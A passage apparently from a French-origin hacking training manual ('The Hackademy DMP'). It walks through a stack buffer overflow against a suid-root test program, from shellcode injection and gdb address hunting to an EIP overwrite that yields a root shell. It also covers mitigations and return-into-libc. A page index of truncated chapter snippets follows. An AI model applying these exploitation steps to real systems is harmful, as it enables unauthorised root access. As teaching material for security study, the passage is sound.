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All we have to do now is inject a string containing the shellcode to execute and to overwrite the EIP through the address found previously: [NOP]...[NOP][SHELLCODE][0xbffffb10] We are going to see how to operate the vuln1.c program whose bit suid root will have been activated: $chown root.root vuln1 $chmod 4755 vuln1 Let us use xploit.c to generate the chain (destined to operate the program) into an environment variable, that you will give as an argument to the vulnerable suid root. We will use it twice in a row, first to inject the character chain containing the shellcode in order to determine the buffer address with the gdb, then to inject the same string by overwriting the EIP through the address found. First, we overwrite EIP with an address by default. $./xploit -b 600 -E RET We are going to look for an address pointing to the NOP preceding the shellcode with the help of gdb. xdream@Laptop:/tmp$ gdb vuln1 (gdb) r $RET Starting program: /tmp/vuln1 $RET (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0xbffffade in ?? () We have redirected the program execution towards the address by default that does not contain the shellcode. Let us dump the memory from the address pointed by ESP (the top of the pile), while we are looking for the injected chain: (gdb) x/500x $esp 0xbffff6c3: 0xfaafb8bf 0xf6cdbfff 0xcff8bfff 0x00004014 0xbffff6d3: 0xfffab800 0xfffab8bf 0xfffab8bf 0xfffab8bf ... 0xbffff843: 0x00000000 0x36383669 0x6d742f00 0x75762f70 0xbffff853: 0x00316e6c 0x90909090 0x90909090 0x90909090 0xbffff863: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff873: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff883: 0x90909090 0x90909090 0x90909090 0x90909090 The Hackademy DMP -146/209- SYSDREAM
We can determine that at address 0xbffff863 are the NOPs preceding our shellcode. We are going to overwrite EIP with this new value: xdream@Laptop:/tmp$ ./xploit -b 600 -E RET -x 0xbffff863 Addr: 0xbffffe03 xdream@Laptop:/tmp$ ./vuln1 $RET sh-2.05b# id uid=1015(xdream) gid=1015(xdream) euid=0(root) groups=1015(xdream),29 (audio) sh-2.05b# The newly obtained shell has an activated bit suid root, we can therefore execute any action under the root count on the system. Security The main cause of vulnerability of programs is the use of certain dangerous functions that do not check the copied data size in a destination buffer. So the following functions must be banned: strcpy(), strcat(), strcmp() ... and replaced with their equivalent strn*() Secondly, on Linux, you can protect your system by patching your kernel with grsecurity. Among others, it implements pAx, which makes the stack non executable. Its installation will be detailed later on. G) Return into glibc and return into glibc Fonctioning of pAx The standard exploitation of a stack overflow as seen in the previous section implies that we jump on a shellcode that resides in memory. So the shellcode must be copied in a zone that is accessible in execution. That is the case by default for all of Linux. PAX makes this zone non executable. That is also the case in the data section or in others into which we could inject the shellcode. We will see that it is possible to bypass this local protection by using Return Into glibc. Exploitation There remains one notion to introduce in the execution of memory programs. They dynamically charge in memory the library or libraries that they need. We can know all the libraries dynamically linked by a binary thanks to the Idd tool: $ldd /bin/ls librt.so.1 => /lib/librt.so.1 (0x40022000) libc.so.6 => /lib/libc.so.6 (0x40034000) libpthread.so.0 => /lib/libpthread.so.0 (0x40162000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) The Hackademy DMP -147/209- SYSDREAM
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Hack security “pro”
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Authors For their contribution to t
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Chapter IV: Web Vulnerabilities....
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INTRODUCTION TO TCP/IP NETWORKS Net
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In case of reception, each layer wi
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ARP heading: The Hackademy DMP -11/
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Version: 4 bits. The version field
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TCP header: Source Port: 16 bits. T
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TCP/UDP Port Notions: Multiplexing/
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Start the MS-DOS control interface
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CHAPTER I INFORMATION ACQUISITION T
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expires: 2005-10-28 11:28:29 create
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In the answer field you will find:
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nmap -sP 192.168.124.0/24 Starting
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C) Fingerprinting the system The nm
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It is also possible to specify seve
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SMTP : Simple Mail Transfer Protoco
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SNMP : Simple Network Management Pr
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Here is a scan report obtained with
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# nmap 3.50 scan initiated Wed May
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CHAPTER II CLIENT VULNERABILITIES T
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File viruses: These viruses attack
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Retroviruses are a bit more aggress
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However, do check in the start file
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Creating a hidden gateway : But the
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infallible. It consists in associat
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DOS commands if conditional pluggin
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Each one of these zones can be conf
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The javascript code destined to dow
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The wizard will ask you the locatio
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CHAPTER III NETWORKS VULNERABILITIE
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Here, the connection between the ro
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Using the "Follow TCP Stream" optio
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You have just created a new filter.
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This handshake takes place as follo
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Third step Illustration 3: ACK To c
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The methodology of this type of att
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The case of the UDP protocol Unlike
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nc -l -v -n -p 887 Injection of com
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Let's try to connect again from mac
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We can see that Ethereal has seen i
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Conclusion The covert channel princ
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It is the IP protocol that is going
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We will simultaneously launch the p
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5.Connections Hijacking We are goin
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Let us now display the contents of
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B) DNS hijacking The DNS protocol i
Page 95 and 96: ssh2 protection The server's public
Page 97 and 98: B) SSL The SSL protocol functions w
Page 99 and 100: Recent viruses use the resources of
Page 101 and 102: 1.Site Mapping The first thing a ha
Page 103 and 104: Scan_web.php Scan_web.php is a PHP
Page 105 and 106: The phpinfo() function gives the ha
Page 107 and 108: ack to an error message */ if ($ok
Page 109 and 110: System() Function The System() func
Page 111 and 112: Uploading via PHP Quite often, one
Page 113 and 114: inc.php file page1.php file By ty
Page 115 and 116: There are other functions of the sa
Page 117 and 118: i=0; j=0; while (data[i] != '=') {
Page 119 and 120: system("/usr/bin/sendmail -t test@t
Page 121 and 122: In all cases, it is also important
Page 123 and 124: It is therefore vital to understand
Page 125 and 126: The error means that the SQL reques
Page 127 and 128: } else{ } $query = "UPDATE users SE
Page 129 and 130: And here is the result: We are now
Page 131 and 132: We can see that CrashFr is now in b
Page 133 and 134: Once the client has entered his pse
Page 135 and 136: CHAPTER V APPLICATION VULNERABILITI
Page 137 and 138: 2.Buffer Overflow Buffer overflow t
Page 139 and 140: xdream@Laptop:/$ readelf -a /bin/ls
Page 141 and 142: A few assembler notions Let us see
Page 143 and 144: Let us study the representation of
Page 145: The program segfaulted when trying
Page 149 and 150: The we can look in libc6 for the ad
Page 151 and 152: We can also see in the sources a ca
Page 153 and 154: 3. String Format Presentation Strin
Page 155 and 156: So when the '%n' indicator is encou
Page 157 and 158: Using dtors. bash# objdump -s -j .d
Page 159 and 160: Security The only solution here is
Page 161 and 162: This program is “suidroot”, whi
Page 163 and 164: } } printf("Opening of file authori
Page 165 and 166: } flock(fd, LOCK_UN); //Closing of
Page 167 and 168: 1.Authentication Brute force In thi
Page 169 and 170: Hybrid attack T launch a hybrid att
Page 171 and 172: LC3 offers 4 methods. 1. From the l
Page 173 and 174: B) The Unix passwd file On Unix sys
Page 175 and 176: C) Authentication service One of th
Page 177 and 178: The first thing to do is to create
Page 179 and 180: B) Backdoor kernel Backdoor kernels
Page 181 and 182: CHAPTER VII GENERIC SECURITY PROCED
Page 183 and 184: Configure snort so that it can stor
Page 185 and 186: Pmon NT Pmon is a process monitorin
Page 187 and 188: Here is a simple scenario. Let us t
Page 189 and 190: Step 2 : Encoding and signing (PGP)
Page 191 and 192: 12.You can choose a separate Signat
Page 193 and 194: B) Cryptography of hard drives Wind
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Integrity controller on Linux There
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There are three protection levels:
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"Program control" Section The “pr
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The rules take the following values
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7.VPN What is a Virtual Private Net
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Contact 1 Villa du clos de Malevart
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Created by trainers from The Hackad
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